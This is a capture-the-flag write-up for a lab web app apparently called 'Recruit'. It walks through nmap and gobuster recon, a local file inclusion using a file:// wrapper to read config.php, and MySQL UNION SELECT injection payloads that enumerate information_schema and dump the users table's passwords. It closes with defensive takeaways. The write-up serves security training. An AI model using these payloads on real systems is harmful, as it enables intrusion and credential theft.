Recon
Starting with a quick service scan to see what’s exposed.
❯ nmap -sV -sC <target-ip>PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-title: Recruit|_http-server-header: Apache/2.4.41 (Ubuntu)| http-cookie-flags:| /:| PHPSESSID:|_ httponly flag not setService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelThree ports are open. SSH (22) needs credentials we don’t have yet, and DNS (53) isn’t obviously useful here, so the web server on port 80 is our way in.
We get a login panel and a link to /api.php.
The API docs expose an interesting endpoint: /file.php?cv=<URL>.
Trying to fetch a remote CV fails, but a parameter that loads files is exactly the kind of thing worth coming back to. Let’s keep enumerating.
Enumeration
Time to dig into what else is served.
gobuster dir -u http://<target-ip> \ -w /usr/share/seclists/Discovery/Web-Content/common.txt \ -x php,bakTIP
-x php,bak tells gobuster to also try those extensions on every word. We add php because it’s an Apache server running PHP, and bak because backup files (config.php.bak, etc.) are a classic source of leaked secrets.
assets (Status: 301)index.php (Status: 200)javascript (Status: 301)mail (Status: 301)phpmyadmin (Status: 301)sitemap.xml (Status: 200)A few hits, some more interesting than others:
| Path | Verdict |
|---|---|
assets, javascript | Nothing useful inside. |
sitemap.xml | Lists known endpoints; the only new one is dashboard.php, which requires authentication. |
phpmyadmin | A database front-end: worth remembering once we have creds. |
mail | The good stuff (see below). |
The mail directory
From: HR Team <hr@recruit.thm>To: IT Support <it-support@recruit.thm>Subject: Recruitment Portal Deployment Confirmation
As discussed during deployment:- HR login credentials (username: ████████) are currently stored in the application configuration file (config.php) for ease of access during the initial rollout phase.- Administrator credentials are NOT stored in the application files and are securely maintained within the backend database.This is a roadmap of the whole box:
- The HR username is in the email, and its password lives in
config.php. - The admin credentials are in the database, note that for later.
Exploitation
Step 1: Leak the HR password via LFI
NOTE
LFI = Local File Inclusion, a flaw where an app can be tricked into reading (or executing) a file from the server’s own disk that it was never meant to expose, like /etc/passwd or, here, the app’s own config.php.
Browsing to /config.php directly returns a blank page with 200 OK, the PHP executes server-side, so we never see the source. We need to read the file, not run it.
Back to that file.php?cv= endpoint. The naive attempt still fails:
# /file.php?cv=config.php -> "Only local files are allowed"After a bit of research:
- Apache serves files from
/var/www/htmlby default. - The
file://wrapper lets us request a local path explicitly, which satisfies the “local files only” check.
/file.php?cv=file:///var/www/html/config.php/*| HR Credentials (Temporary – Initial Rollout Phase)| These credentials are stored here temporarily and will be| moved to the database in a future release.*/$HR_PASSWORD = "████████";Logging in with the HR username from the email and this password lands us on the dashboard.
First flag captured. 🚩
Step 2: SQL injection for the admin flag
The dashboard has a candidate-search field. The email told us the admin creds live in the database, so this is the obvious place to test for SQL injection.
A single quote breaks the query, it’s injectable. Now to build a working UNION SELECT.
I fuzzed the column count; four columns made the most sense for this table. The -- comment terminator kept erroring, so I switched to #, which behaved better:
WARNING
I learned later that MySQL requires a space (or newline) after -- for it to be treated as a comment. My early payloads failed for exactly this reason. The correct form is:
' UNION SELECT 1,version(),database(),4 -- -(note the trailing space after --, which we can see thanks to the third dash). Using # sidesteps the issue entirely.
From there it’s just iterating: enumerate the schema through information_schema, then drop the admin row into the columns that get reflected back on the page.
-- Confirm it's injectable'
-- See which columns are reflected, and grab DB version/name' UNION SELECT 1,version(),database(),4 -- -
-- List tables in the current DB, then the columns of the interesting one' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database() -- -' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users' -- -
-- Dump the admin credentials' UNION SELECT 1,username,password,4 FROM users -- -
Logging in with the recovered admin credentials:
Second and final flag captured. 🚩
Takeaways
- Clean your emails. The
maildirectory handed us the entire attack path, username location, password location, and a hint that the admin creds were in the DB. 200 OK≠ useful output. A blankconfig.phpstill executes server-side; an LFI lets you read the source instead of running it.- Wrappers bypass weak filters. A “local files only” check is satisfied by
file://, which is exactly what unlocked the config read. - Know your comment syntax.
--needs a trailing space in MySQL;#is the safer choice.